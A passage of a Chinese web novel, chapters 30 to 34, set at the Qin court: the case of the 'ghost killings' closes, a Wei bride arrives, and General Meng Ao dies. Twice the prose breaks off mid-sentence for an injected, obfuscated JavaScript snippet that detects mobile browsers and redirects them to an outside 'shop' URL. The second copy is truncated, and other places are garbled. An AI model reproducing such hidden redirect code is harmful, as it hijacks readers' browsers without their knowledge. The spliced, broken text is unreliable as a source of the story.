杨裕将脸紧紧贴在她的手心里,哭得如个孩童。 桑语抬手揉揉鼻子,还是开口道:“二位,你们的故事,我很同情。可是,无论你的命运如何坎坷不公,都不应该成为你伤害别人的借口。”她看向蔓娘,语气逐渐变得严肃,“既然误会解开了,现在应该回到事情的起点了,你到底为何杀人?” 蔓娘收起方才的悲痛,轻轻将眉一挑,“并无原因,我恨男人。” 桑语无奈叹气:“我真是信了你的邪!那人都命人放暗箭了啊,说白了,就是想杀你!他将你推入绝境,你还想替他打掩护?你是傻吗?” 蔓娘突然笑得无比温柔,“你虽非楚人,却让我觉得颇为熟悉。”她张开双臂,“不如,你再抱抱我,我便将真相告诉你。” 桑语踟蹰片刻,还是伸手抱住她。 “多谢,”蔓娘环住她的腰,轻声在她耳边道,“东西给你了,你收好!桑语,好好爱你自己,好好活着。” 话音刚落,桑语还未反应过来,蔓娘忽然用力拽住她,将手掐住她的脖子。 “放我走!不然我就掐死她!” “蔓娘!”杨裕伸手去拽她的胳膊,“不要一错再错!” 蔓娘转眼看着他,“裕郎,若有来世……” 话未说完,“哇”的一声,她吐出一口血。 一支羽箭射穿了她的心脏。 蔓娘倒下了,倒在了杨裕的怀中, 她眼含泪光,嘴唇有些许颤抖,“若有来世,愿与吾夫厮守相伴。” 她想再次抚摸眼前这张日思夜念的脸,手却无力地垂下了。 “蔓娘!”杨裕吻了吻怀中人的头发,“等等,你等等我,我这就来陪你了!” 他的嘴角流出血来,像枯木一样往后倒下。 士兵蹲下身来查看,然后起身禀告道:“君上,此人已咬舌自尽。” 竹林轻舞,在风中唱着挽歌。 簌簌声响中,竹叶飘落,一片、两片…… 竹叶与黑夜共舞,缓慢而轻盈。 无论竹叶是否漫天,竹林依旧清幽寂静,过往的故事如诗歌般,永远地篆刻在风声里。 31. 落定 轺车辘辘地驶入城内,桑语倚靠在车壁之上,脸色有些苍白。 好一会儿,她将手中的布帛卷起,心情沉重。 “蔓娘离开村寨时,孤儿寡母,常遇饥寒。偶遇一支商队,不时接济一二,这才平安入秦。蔓娘心中感激,却无以为报,于是送了一只蛊虫给商队主人。不想,因此招惹祸端。商队主人以送别为由,设宴宴请蔓娘。蔓娘心思单纯,不疑有他。酒中下了药,待她醒来之后,梦儿便不见了。蔓娘怒起而开杀心,可却见到了一截被撕碎的袖子,那是梦儿所着的衣裳。” 桑语的声音有些颤抖,缓了缓,继续说道:“蔓娘害怕女儿受到伤害,不得不收了手。有人给了她一个名册,上书不同名字,并附上了居住地址。于是,蔓娘每日按照名单顺序去执行杀戮。” 秦王政的脸色亦是沉重,“如此说来,那些被害之人并非是被随意选择的。这件事情,从头到尾都是一场阴谋。” 桑语点点头,“蔓娘本来不愿助纣为虐,却收到了一截小拇指。” 她实在说不下去了,将布帛递给了秦王政。 布帛上余下的内容,对他来说可能是有着大作用的。 秦王政接过布帛,迅速看罢,随即卷起纳入袖中。 “适才,你同蔓娘说了什么?” 桑语默了片刻,“我对她说,我有个师父,她之于我而言就是母亲。我来到秦国,她是知道的,但是她没有来见我。我了解我师父,她最是讨厌别离。不知何日何时,我才能再次与师父相聚。既然如今一时无法相见,我希望师父莫要因我而担心。不然的话,我这个做徒弟的,会觉得难过。” 见她情绪忽然低落,秦王政转了话题,“阿桑遇事,非惴惴惶惶。玄女之名,果真名不虚传。” 桑语轻笑了一声,以示她接受了夸赞。 车帘被风掀起,一股冷风顺着脖颈悄然滑入衣内,带来阵阵寒意。 桑语的脑海中突然回响起蔓娘在她耳边低声说的话语。 虽然当时她掐住了她的脖子,但她完全可以正常地呼吸。 蔓娘从未想过真的伤害她,而是想要趁机将布帛塞到她的手里。 桑语倏地心中酸恻,她看向秦王政,眼神中闪烁着微不可察的祈求。 “蔓娘与杨伯,并非是表面上所见的那般年老。若是细观,他二人的手背上并无褶皱。想来是因为情盅发作,才使得杨伯容颜骤衰。而蔓娘之所以是满头白发,可能是因为心中郁结。她二人分别并不久,其女梦儿,或许尚处垂髫之年。君上,请您救救无辜的孩子吧!” 秦王政闻言,轻轻点头,“你且安心,纵你不说,寡人亦不会袖手旁观,任由无辜受难。”他稍作停顿,问道:“蔓娘身为女子,却口出男音,此中真的没有鬼邪作祟?” 桑语清了清嗓子,模仿着猪八戒的语调,“猴哥,师父被妖怪抓走了!” 秦王政被这突如其来的“猪哼声”惊得愣住了,眼中满是难以置信。 桑语轻轻一笑,又变回了正常的腔调,“模仿他人的声音,其实并不是什么难事。蔓娘深爱着她的丈夫,当面对突如其来的抛弃时,她难以承受这残酷的现实。于是,她开始模仿丈夫的声音,仿佛他还留在自己身边。唉,世间几多痴情种啊!” 言罢,她的目光不由自主地滑向了秦王政的衣袖,那块布帛上密密麻麻的文字又浮现在她的脑海里。她忍不住轻声劝道: “所有对的事情,一开始的时候,所有人会说‘这想法真蠢!怎么可能会办到?白费力气而已!’。待事情初现曙光,他们又会说‘你赶紧住手,你这个违背祖宗的坏东西!’。不过,等所有的设想被咬牙实现之后,他们就会鼓掌称赞。君上,大胆地往前走罢!往前走,别回头!” 秦王政眼中闪过一丝惊讶,但很快恢复了平静,他只是淡淡地应了一声“好”。 轺车将桑语送回她的住所后,没有停留片刻,便径直驶向了章台宫的深处。 九层高台之下,蒙氏兄弟二人身姿挺拔,静静地伫立等候着。随着一阵轻微的马蹄声与车轮滚动声,一辆黑篷轺车缓缓停在了他们面前。寺人见状,连忙上前,迅速而熟练地掀开了车帘。 秦王政自车内步出,扫视了一眼蒙氏兄弟二人,沉声道:“进殿来说话!” “诺!” 蒙氏兄弟二人相互交换了一个眼神,紧随秦王政之后。 殿内烛火通明,秦王政一甩手,将布帛抛给蒙恬。蒙恬接住后展开一看,震惊之情溢于言表。 他伸手将布帛递给了身旁的蒙毅。 蒙毅接过布帛,同样地,他的脸上也浮现出了惊愕之色。片刻后,他将布帛重新卷起,“世事难两全,君上必须做出选择了。” “两全?哼!母后可曾想过两全?舍了吾,她便得了‘全’吧!”秦王政自嘲一笑,仰头闭上眼。 蔓娘交给桑语的布帛之中,直接揭示了幕后之人的身份—— “秦太后之嬖嫪毐,欲布流言于市:当今秦王乃不祥之人。俟民怨积沉,嫪毐则取而代之。” 原本嫪毐的计划很完美,但他错估了一位母亲。 秦王政缓缓睁开眼来,声音飘渺,他在问:“这世上的母亲,爱孩子会胜过爱自己的性命吗?”也不知道是在问谁。 殿中众人都明白秦王政此刻的心情,一时相觑,不知如何作答。 秦王政显然也并非真的需要一个答案,他转而问道:“成蟜有何动静?” 蒙毅答道:“在回咸阳的路上了。” 秦王政默不作声,他将布帛扔进火盆里,火焰瞬间吞噬掉了整个布帛,布帛上的文字渐渐化为灰烬。 蒙毅甚觉意外,“君上为何不留下此物?或许可以以此治罪于嫪毐。” 秦王政注视着眼前腾跃的火焰,神色漠然道:“区区一方布帛,他怎会害怕?他恐怕早就想让寡人知晓此事了,好让寡人知道自己不过是困兽蝼蚁。毕竟,站在他身后的,是寡人的母后。” 他有些抑制不住自己的声音微颤,再次看向蒙恬,叮嘱道:“无论如何,你必须尽快救出梦儿。稚子无辜。” 蒙恬肃然拱手,“臣领命。” 又是无风无云的一天,城郊的竹林静静地矗立,未有一丝摇曳。竹林深处,隐约有乐声传来,宛如有人在低声吟唱着一首充满悲懑的歌谣。 两处坟冢之间,穿着粗布衣裳的男子盘腿而坐,他摘了两片竹叶,放在唇边吹奏着。 这声音哀怨婉转,男子完全沉浸在乐声中,似乎未留意到身后有人来了。 他吹奏完一曲,将指间的竹叶揉碎。 来人在他身边坐下。 元青缓缓睁开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163485|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛,声音带着一丝复杂:“一切如公子所计划的,秦王应该已经看到了那封布帛。”他微微停顿了一下,眼中掠过一丝哀伤,“杨兄待我不薄,然而我却害他丧命。” 相瑾伸手拍他的肩,“有时候,死亡,或许是一种解脱。”他的目光落在坟冢前的野草上,“即使我们未曾介入,他二人也不会圆满。或许如今的收场,才是他们最好的归宿。” 元青转头看他,“你此言何意?” 相瑾并不回答他的问题,只是一挥手臂,刹那间,竹叶纷飞如蝶。 元青沉默了良久,忽然“呵”地笑了一声,道:“还真是天命难违。若是那日桑山主不走入那家酒肆,若是她不愿与我们这些过客交谈,那么,后续的一切便不会发生了。” 相瑾仰头看天,天上没有太阳。 “是啊,天命!” 厉鬼杀人的诡案就此尘埃落定了,笼罩在咸阳城上空的阴霾也终于散去。百姓们紧绷的神经终于得以放松,街头巷尾中再次充满了孩童们的欢声笑语。 转眼间,“春社”已至。家家户户都忙碌起来,准备着祭祀土地神与五谷神的仪式。人们虔诚地跪拜,祈求神灵保佑这片土地上的生灵免受饥馑之苦,祈愿今年是个丰年。 祭祀之余,这一天,也是青年男女幽会的日子。他们身着自己最好的衣裳,相聚于村头的桃花树下,或是河畔的柳荫之中,或以歌传情,或以舞相娱。 桑语斜身倚在榻上,手中展开着一卷《论语》。她的耳畔,被窗外一群燕子的叽叽喳喳声所环绕。 小院里的人,都出去看热闹,只剩下桑语一人。她一向对这些节日兴趣不浓厚,更何况太卜署难得放假,她更愿意借此机会在家中好好休息休息。 所谓“隔行如隔山”,蔓娘的蛊虫,老太卜仍未有所研究。但是既然蔓娘已死,这个蛊虫也就没有被研究的意义了。 桑语将蔓娘的故事讲与老太卜听时,老太卜沉思后说道:“这世上啊,有人逝去了,有人还活着,有人即将睁眼啼哭。故事如何开始,又应该如何结束,此天意也,非己能裁。蔓娘与杨裕,或是前世之怨偶,今生才有缘无分。若有下一世,他二人定是朝夕相伴,做一对寻常恩爱夫妻。蔓娘犯下如此大罪,若依秦律,必将处以极刑。一箭而死,已经是她求得的最好的结果了。那些身首异处的亡者,亦是无辜之人。” 在这段日子里,桑语常常会不由自主地想起蔓娘,就像过去很长一段时间里,她频频回忆起采采一样。 桑语对蔓娘,更多的还是同情。 蔓娘孤独了十几年。在这十几年里,她只是‘草鬼婆’。人被困在一个身份中,为了责任而活,失去了自己的名姓,着实是可怜的。彼时,终于出现了一个人,让她又成为了‘蔓娘’,她肯定是欣喜万分的。可是,人若是做错了选择,做错了事情,就回不了头了,只能恶果自食。 桑语一直盼着秦王政能够救出梦儿。并非她没有这个能力,而是兹事体大,关乎秦国的内政,她私心不想卷入这些是非。 只是,秦王政派人来说,根据蔓娘的遗书,蒙恬将军已经寻到了那个“商队”的老巢,但是没有找到梦儿。 他抓了一个人,几番逼问之下,才知道梦儿在年前就已经失踪了。 这桩诡案,桑语总感觉怪怪的,又说不上哪里奇怪。 32. 魏女 月上柳梢头时,椿儿她们才回来。桑语闻声,推开窗,将脑袋探向外面,“回来了?有刚刚烧好的热水,但是仅够两人之用,你们自个儿商量商量。” 椿儿站在檐下,她的面颊上还带着一抹绯红,犹如春日里初绽的桃花。 “九姊,迟迟,你们先去洗漱吧。阿姊,我来陪你说说话!” 桑语还没来得及拒绝,椿儿已经提着裙摆,小步快跑进了屋内。 临窗有一张贵妃榻,是桑语一时心血来潮,随手勾勒了草图后,垦求吕思远做出来的。由于桑语绘画的水平太过于抽象,吕思远莫名其妙地挨了不少骂。好在最后桑语良心发现,没有继续第五版了。 椿儿脱了鞋,随即钻进被褥里,与桑语面对面。桑语伸手掖好被角,“看你面如桃花的样子,难不成遇见了哪位俊俏的小郎君?” 椿儿嘻嘻一笑,“呸,要什么男人,桃花酿多香啊!”她的脸上依旧是一副娇憨爽直的神情,“阿姊,你应该和我们一起出门的,你都不知道,今日的咸阳城是多么的热闹!” “也没见你们给我带点儿吃的回来呀。” “啊呀,阿姊,你怎么永远都是这么务实!”椿儿弯起胳膊撑着脑袋,“你不问问咸阳城里发生了什么吗?” “发生了什么?”桑语很是配合。 “魏女入秦,香车辚辚,嫁妆绵延数里,萧鼓喧空,那可真热闹得紧呢。” 桑语只是默默听着。 吕思远说,魏王所献之女,乃是魏国第一美人,尤擅舞乐。桑语没有亲眼见过,但是在她的想象中,那应该是位极美的女子,美得难以言喻。 “阿姊!不知你作何感想?”椿儿半眯着眼睛看着桑语,脸上浮现出暧昧不明的笑容。 “我?我为何要有感想?”桑语伸手拿过一把木梳,有一下没一下地梳着发尾,“魏王省了赔偿,秦王得了美人。两方均能受益,多好的一桩买卖,就是可怜那位魏女。” 桑语再次抬眼看向椿儿时,椿儿呼吸均停,显然是已经睡着了。 阿九进屋来,正要开口唤椿儿,却见桑语冲她摆摆手,用嘴型说道:“睡着啦!”她立刻放轻了脚步。 待得阿九走近后,桑语压低了声音说:“就让她睡这儿吧,你也去休息。” 阿九点点头,出去了。 桑语掀开被子,起身坐到了榻沿,将椿儿扶着躺下。踏着鞋,将两盏油灯熄灭了,整个房间瞬间沉浸在了黑暗之中。 身着白色长袍的蒙恬,在一盏宫灯的引领下,走入一处庭院中。 院中满是花草,还有一株参天大树。 树下坐着一人,一袭玄衣,正闭目击筑。沉郁之音,散入无边的夜色之中。他身旁放着一个酒坛,酒香在空中弥漫着。 蒙恬走上前行礼,“臣见过君上!” 筑声戛然而止,秦王政睁开眼,“来了!” 蒙恬在他对面的席上跪坐下来,“让一位绝色美人独守空房,君上,您是不是太过狠心了?” 秦王政掀起眼皮看他,“你都已经及冠了,还未娶亲吧,要不要……” “不必!”蒙恬苦着脸抱拳道,“不劳君上忧心,待君上扫平六合,臣再成家也不迟啊!” “看来,为了不让你变成白头郎君,寡人也得好好努力。”秦王政斟了两爵酒,为他递去一爵。 “征战数月,今日臣终于能够好好坐下来,陪君上喝喝酒了。”蒙恬将爵中酒一饮而尽,再次开口问道:“君上怎知臣来此处?” 他方才见到提灯等候的侍女时,属实有些惊讶。 “寡人,只是侥幸猜对了罢了。” 案桌上的蜡烛明灭闪动,烛光在秦王政的眼中摇晃漂浮。微风掠过他的发尾,他似乎在沉思着什么。他的嘴角微微向下,平添几分不怒自威。 稍时,传来衣裙的窸窣声。几个侍女抬着食盒进来,摆好菜肴,斟上酒,这才躬身退下。 “你出征时,寡人承诺说,你若能平安归来,寡人定备好楚地名鱼,以接风洗尘。最近多事,寡人也该应诺了。” “知臣者,莫过于君上!” 鲫鱼个儿头小,肉味却甚是鲜美。蒙恬举箸夹起一块鱼肉,然后送入口中。鱼肉嫩滑,唇齿之间,还萦绕着青梅的酸甜之味。 秦王政举爵,笑道:“这爵酒,敬你我重逢!” 蒙恬举爵饮尽,用手指轻轻敲了敲桌面,“蛇已入洞,是否需要捕蛇者?” 秦王政从鱼背上夹了块肉,小心地咀嚼着,这才慢慢咽下去,“寡人听闻,南越之地,有人以蛇肉为食。” “君上竟这般不知怜香惜玉呀!”蒙恬语气惋惜,但眼中满是戏谑。 “蛇咬人时,蛇可不会嘴下留情。既然蒙将军如此怜香惜玉,不如寡人做个顺水人情。” 蒙恬忙连连摆手作揖,“臣愚笨,只怕无福消受。” 秦王政又呷一口酒,辛辣的冷酒滑过他的喉咙,眸光暗了一瞬,“寡人本就置身于蛇窟虫窝,无招架之功,亦无反击之力。既皆欲争,那就由他们争去。至于这魏国之蛇,倒也不妨暂留一命。蛇毒虽毒,亦可为药。” 蒙恬亦神情严肃,沉默片刻后道:“大父有一言奉告。” “嗯?” “君上应早做打算为宜,免生肘腋之变。” “老将军近来身体如何?” 蒙恬眉头一蹙,脸上现出愁容,“自回咸阳之后,大父一直杜门养疾。” 秦王政亦是目露忧色,若是蒙骜不在军中,他一时真不知谁可堪任秦军统帅。 “等过几日,寡人会去探视老将军。” 蒙恬忙俯身拜道:“臣替大父谢过君上。” “寡人与你兄弟二人自幼同处,情逾手足,不必如此客气。” 蒙恬道:“魏增生性阴鸷,那位魏女,君上不得不防。” 秦王政冷笑一声,“寡人甚喜,魏增足以为敌也。” 蒙恬看着他,忽发感慨道:“臣窃以为,君上,或许因有君上,这数百年的纷乱,终将止休。” 秦王政复又垂眸,端起酒爵:“寡人之希望如是。然而,数蛇盘旋。若不能手刃毒蛇,则终将为它们所吞噬。” 蒙恬笑着慷慨拍胸,“君上绝非单枪匹马,臣愿为君上效犬马之劳。” 秦王政倏将双眉一挑,“自你言及政事,寡人便觉得,这酒不香了,鱼也没味儿了。” 蒙恬起身拱手笑道:“此乃臣之罪也,还请君上赐罚。” 秦王政背倚在树干上,一腿伸直一腿屈起,端着酒爵的胳膊随意地搭在膝上。“一别半载,寡人甚是想念君之埙。” “臣就等着这句话呢!”蒙恬解下腰上的陶埙,重新盘腿坐好,吹的是一曲“秦风”。 月光撒在迎春花上。春虫呢喃声中,埙声低沉哀婉,回荡在这夜色之下。 这夜晚,美得惊心。 桑语迷迷糊糊地睡了一会儿,睁开眼睛,朦胧中依稀看到了一个人影。她一惊,困意全无,伸手摸向枕头底下。 那道身影陡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦王政的眼神微微沉了下来,他伸手攥住她的手腕,害怕她真的会瞬间离去似的。 “阿桑,我奢望,与你成为家人。” 他说得小心翼翼。 抛却他身上的这袭厚重的黑衣,他只不过是个青葱的少年,眼底刻意掩藏起来的期待仍是一览无余。 桑语认真地看着他的眼睛,“在我来到秦国之前,我的人生很普通,除了偶尔出山门参加武术大赛,我只是过着与山中云月林壑相伴的日子,二十多年如一日。” “我以前总是想,活着,这就样平平淡淡,也挺好的。等我将来死了,就埋在后山的坟堆里,和我师父作伴。我不要立碑,只要一个小土包。等我的徒子徒孙也老去了,这个世界上就不再有人记得我的名字了。来时空空,去时也应该空空。” “但是你不一样啊,你是带着使命而来的。所谓‘兴天下之利,除天下之害’,这些才是君上您应该考虑的。至于情情爱爱,只是君王权力的附属品。” 桑语抬起手覆在他的手背上,“君上,回去吧,魏女还在等着您。她是第一个走入秦王的后宫的女人,七国的眼睛都看着呢。” 秦王政紧紧反握住她的手,将她深拥入怀:“阿桑,请你等等我。” 桑语缓慢地抬起手,然而,在距离他的衣袍仅寸许的地方,她的手停住了,终究还是无力地垂了下来。 33. 茶糕 长秋殿之中,烛火已相继凋零,光影渐暗。妆容精致的红衣女子端坐在榻上,眉眼间有些疲惫之色。 她身侧的一个圆脸侍女,眼含心疼与无奈,轻声劝道:“女……夫人,看来秦王不会来了,还是让奴伺候您休息吧。” 魏姬摇摇头,“再等等。” 圆脸侍女小声嘟囔起来,抱怨道:“都说秦国乃荒蛮之地,如今一见,还真是如此。哪里有晾着新妇不理的道理,太不尊重人了!” 魏姬斥了一声,“琼珠,休要胡乱说话!”她的目光随即转向帷幔之外,那里隐约可见秦国宫人的身影。 琼珠知道自己失言了,深深地低下头。 殿外响起唱喏声:“君上到!” 帷幔外的身影立刻矮了下来,随即有脚步声临近。魏姬微垂着眼,视线所及,是一段黑色衣袍的下摆,没有任何纹饰。 她微微抬起眼,看见烛光映照之下,年轻的秦王正面容严肃地望着她,眸色一片清冷。 秦王政薄唇轻启,语带不悦,“见了寡人,为何不行礼?” “既然君上藐视魏国,魏亦无需敬君上矣。”魏姬唇边绽出笑,毫不掩饰眼中的讥讽之意。 秦王政听罢,非但毫无懊怒之态,反而笑了,“不愧是魏无忌之女,颇有乃父之风范。”他挥了挥手,示意宫人全部退下。 琼珠不放心地看了眼魏姬,见她微微颔首,这才退了下去。 这满室“洞房花烛”的装饰,红烛燃得正炫目,饶是魏姬一贯稳重,此时也紧张地绞着衣角。 她再次转眼看向了秦王政,秦王政已经走到了对面的木案边坐下。 魏姬喃喃开口,唤了声:“君上?” 秦王政闻声,朝她望来,“你我今日才刚见面,此事不急于一日。”说罢便闭上眼睛,随意躺下。 魏姬一直攥着衣角的手突然松了,斟酌了片刻,还是问道:“妾为君上准备了一支舞,不知君上是否有雅兴赏光?” 秦王政下意识地准备出言拒绝,话到嘴边却变成了:“夫人有心了!请吧!” “可否请君上暂时移步到帷幔之外?” 秦王政敛袖起身,走到外殿,待他再进来时,魏姬换了一袭轻红罗衫,腰饰金铃,脚踩木屐。 随着魏姬的舞步,木屐与地板相碰撞,发出沉闷而韵律感十足的“铮铮嗒嗒”声响,与裙摆上金铃发出的清脆悦耳的声音交织着。 秦王政眸色愈发沉冷。 一舞已罢,魏姬目光定定地看着秦王政,一双剪剪秋瞳中带着询问。 秦王政朝她走了过来,从怀里掏出一块帕子,递给她,“夫人的这一支‘响屐舞’跳得极好,只是,夫人虽有西施之貌,但寡人绝不会是吴王夫差。” 魏姬接过帕子,笑道:“君上不会是夫差,妾也不愿成为西施。” “哦?”秦王政眼中倏地闪过一丝玩味,“看来,夫人的这支舞,还真是特意为寡人所跳啊!” 魏姬行了个跪拜之礼,“不求君上放妾自由之身,只求他日能手刃魏增,以报羞辱吾父的深仇大恨。” 秦王□□下身看她,“魏夫人,你说寡人该不该相信你的话呢?” “妾会让君上相信,妾所言不虚。” 皓月逐渐西沉,星辰也悄然隐没于夜幕的背后。东方之天际,曙光初露。未几,浮云四散,若水墨画般在天空中铺陈开来。 在渐渐地,那灰白的云层中,突然闪现出一抹橙黄之光,它犹如火焰般炽烈,明亮地宣告着黑夜的结束与朝阳的升起。 桑语一如既往地早起练剑,只是今日的剑气比以往要弱了几分。阿九在一旁看了好一会儿后,终于说道:“阿姊,你今日怎么好像分心了?” 桑语收起了剑,状似随口问道:“阿五那边,可否有什么来信?” 阿九将擦好的剑放到一边,“这时候的玄女山,正忙着春耕呢。阿五她只是来信报了平安,并未说别的。” “如此最好。” 没有什么特别的事情,只是平平淡淡地过好眼前的生活,就是最好不过了的。 她先前还在想杀人的巫女会不会也是后世之人,但是见过蔓娘之后,打消了这个设想。如此一来,还不知道要在这个战国时代里待上多久呢。 桑语拎着剑往卧房方向去,一开房门,险些与椿儿撞了个满怀。 椿儿抱着被褥,脸上带着一抹宿醉未醒的神色。她探头往外看了一眼,“阿姊,你的被褥晒在哪儿了?” 桑语脸色有些不自然,“我把那床被褥收到箱子里去了。” 她昨儿是凭记忆自己回来的,走到半路上才想起来,被褥忘记拿了。 转眼之间,已是杏花谢尽,行人皆换了薄薄的春衫。那璀璨夺目的阳光,一扫冬日的慵懒。苍穹湛蓝而深远,整个世界仿佛熠熠生辉。 桑语拎着食盒一脚踏进太卜署,同僚们赶紧站起身,嬉皮笑脸地凑了过来。 “阿桑,你今天都带了什么好吃的?” 桑语将食盒搁在案上,揭开食盒盖子,指着里头的糕饼道:“此饼名为茶糕,是用茶做的。诸位,尝尝吧。” 说罢,她先从食盒中拿出了一小碟茶糕,拉住项福,问道:“太卜大人呢?” 项福的眼睛落在快被抢光了的茶糕上,抬手往上指了指。 桑语会意,径直往五楼去了。 老太卜正聚精会神地看着龟甲,沉思地捋着胡须。他拿起笔又放下,放下了又拿起,终究只是转过身来看向桑语,“今日老夫又有口福了?” 桑语原本停住的脚步又动了起来,她坐到老太卜的对面,将茶糕搁在案上,“太卜大人尝尝这糕饼如何?” 老太卜拈起一块茶糕放入嘴中,细细品尝后,点了点头,赞道:“口感松软,入口清香,甜而不腻。阿桑,这个茶糕是怎么做的?” “我已经让阿九送一些给夫人尝尝了,若是夫人吃着喜欢,我再教给您也不迟。” 老太卜道:“先前只听闻阿桑武艺高绝,连王贲将军都是你的手下败将。令老夫没想到的是,阿桑你在庖厨中竟也颇有造诣,你带来的美食,皆是我们见所未见,闻所未闻的。你上次教给我做的‘青团’,拙荆很是喜欢吃。” 桑语抿了嘴笑了笑,道:“夫人喜欢就好!” 因为已经厌倦了战国时代的饮食,桑语一时兴起,便开始尝试制作后世王朝的美食。师父的书房里有不少古籍,她闲着没事的时候,就溜进去看书,除了世情小说之外,她最喜欢的就是那些记载美食的古籍了,她也经常根据书中的记载而进行复刻。 最先尝试的,是《红楼梦》中所提及的“松瓤鹅油卷”。经过几次“翻车”之后,终于获得了椿儿、迟迟和阿九的一致好评。 桑语想着,太卜署的同僚们对她一向是十分客气,也不知道是不是因为畏惧。所以思来忖去,她带了一些“松瓤鹅油卷”去太卜署。 有了一次成功的经验之后,桑语又尝试着做出了青团、杏仁豆腐和春卷。 起初,桑语一个人就足够了。后来,太卜署的同僚们但凡遇见其他官署的,必定吹嘘一番,以 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桑语模糊地意识到,当初策划“厉鬼杀人案”的幕后之人,或许早已预测到了“彗星将出”,所以提前进行了造势,最后的目的还是为了造谣秦王政的王位来得不正当。 这群人,还真是手段不一般啊。 “大人,此事是否已经上禀君上?” 老太卜轻叹口气,“是老夫技艺不精,今日才推断出来。”他站起身来,“阿桑,你去替老夫将此事上禀君上。” 桑语不解地问:“您为什么不亲自前去?” 老太卜将手背在了身后,“老夫,要去送别一位老友了。”说着,缓步下楼而去。 桑语看着他的背影,莫名地看出了“老态龙钟”。 兹事体大,桑语不敢多耽搁,解了一匹马,便径直驱马往章台宫而去。 通往内宫的甬道里,桑语遇见了正准备出宫的吕思远。她没有寒暄,只是点头微笑。 吕思远却是伸手拽住她的左袖,“阿桑,宫里的花开了,对,牡丹花开了,开得极盛极美。我们去赏花吧!” 桑语试图打开他的手,“大哥,我是有要事要面奏君上,再说了,大中午的赏什么花呀?” 吕思远依旧不松手,“我,是我想要去赏花,你就当陪我去吧!有什么重要的事儿,晚一点儿再说也不迟啊!” 桑语的胳膊动了几下,想要从按住她的手中挣脱出来,但没有太用力,因为顾忌布料不便宜。 “吕思远,你再磨磨唧唧的,我就写本《葵花宝典》给你练练!” “行行行!什么葵花,桃花的。我现在就想练,你快回去写出来给我吧!” 桑语意识到了不对劲,“你这是怎么了?为什么故意拦着我?君上他出什么事儿了?” 吕思远一副破罐子破摔的模样,“罢罢罢,我同你一起面见君上吧。” 紧赶几步,走入内宫,便听得鼓乐丝竹之声。桑语看向吕思远,吕思远却是别过脸去。 待二人入殿之后,桑语这才明白吕思远为何执意拦住她。殿中摆了数席,陈设珍馐美酒,有舞乐助兴。 再看秦王政身侧,有一红衣女子。美丽如斯,至使仙姝失色。 阶下坐着的,是几位中年男人。 桑语瞧着,有些面生。心中暗自思量:那位红衣女子,应该就是魏国送来的美人,而这几位男人,估计是魏国的使臣。 她要禀告的内容,的确不适合在这个场合说起。 秦王政将袖子轻轻一拂,肃声问道:“桑太卜,你有何要事禀奏?但说无妨。” 34. 陨落 桑语刚想编个假话,一名寺人急匆匆地跑了进来,双膝跪地奏道:“君上,不好了,蒙老将军病危,太医令说……说怕是熬不过今天了。” 秦王政腾地站起身来,疾步就往外走。 这个消息来得太过突然,桑语一时有些怔愣。吕思远唤了她一声,她才回神似的道,“我们也去看看。” 蒙府之中,宽大的外厅里,已经聚集了不少的客人。一扇镂花桃木门相隔,蒙骜半倚在睡榻上,他刚刚结束了一阵剧烈的咳嗽,满是皱纹的脸上浮现着痛苦的神色。 老仆进屋来禀道:“家主,相邦来了!” 话落间,蒙武陪着吕不韦进来了。蒙骜费力地睁开浑浊的老眼,从喉咙中发出一阵含糊不清的声音。 吕不韦紧走了几步,上前握住他的手。威风凛凛的将军,变成了眼前这般虚弱的样子,难免叫人心生悲凉。 吕不韦的眼圈变得有些发红,却也不知能说些什么。 门声再次响动,秦王政大步匆匆地走了进来。他只看了一眼吕不韦,便将目光移向了病榻之上的蒙骜。 蒙骜挣扎着要坐起来,被秦王政拦住了。秦王政眼底满是悲痛,“老将军,寡人来迟了。” 年轻的君王眼角有泪光在闪动。 蒙骜苍白的嘴唇动了动,终于艰难地开口了:“加冠,亲政,东进,兼并。吾年老矣,皆未及睹,其可惜哉!” 一字一顿,语气中满是遗憾。 秦王政心口酸涩,他用力点头,无比郑重地道:“寡人定不负老将军重望!” 蒙骜说了声“好”,又接连地咳嗽了两声。他动了动眼珠,将目光落在了吕不韦的身上,意味深长地说道:“先王病逝前召见大臣,叮嘱我等共同辅佐新王。我老了不中用,要到地下去陪先王了。以后这大秦,还有君上,就劳相邦辛苦了。” 吕不韦岂会不知这番话是老臣之心,他缓缓点点头,“老将军请放心,君上富于春秋,俟加冠亲政,定能实现祖宗遗愿。” 得了这句话,蒙骜笑着,闭了眼。 众人的一颗心顿时提了起来。 半盏茶后,蒙骜才又睁开了眼,这次他看向了他的儿子蒙武,“让恬儿、毅儿进来。” 两位年轻人进屋之后,先是对着秦王政和吕不韦行礼,然后悲痛地唤了声“大父”。 蒙骜静静地看着儿孙们,缓了口气,叮嘱道:“待我离世之后,尔等当尽忠于君上,事事谨遵相邦之言。” 众人闻言,尽皆抹泪。 秦王政看了吕不韦一眼后,道:“蒙氏一门三代,皆有军功,早就应该多加赏赐。”他站起身来,负手而立,“蒙武,蒙恬!” 父子二人皆跨前一步,拱手应道:“臣在!” “破联军,攻克濮阳。尔等有功,各晋爵三级,再赐食邑百户。” “臣,谢君上!” “蒙毅!” “臣在!” “汝恪尽职守,多次冒死救寡人于危难之时。即日起,由汝迁任郎中令一职。” “臣,谢君上!” 蒙骜亦是老眼模糊,“老臣……谢君上隆恩。” 说着,他缓缓阖上眼,再也不会睁开了。 这位戎马一生的名将,就这样结束了一生沉浮,安静地告别了大秦王国。 室内室外,哭声骤响。 桑语看了眼站在她身侧的老太卜,老太卜的神情很平静,只是默默地流泪。 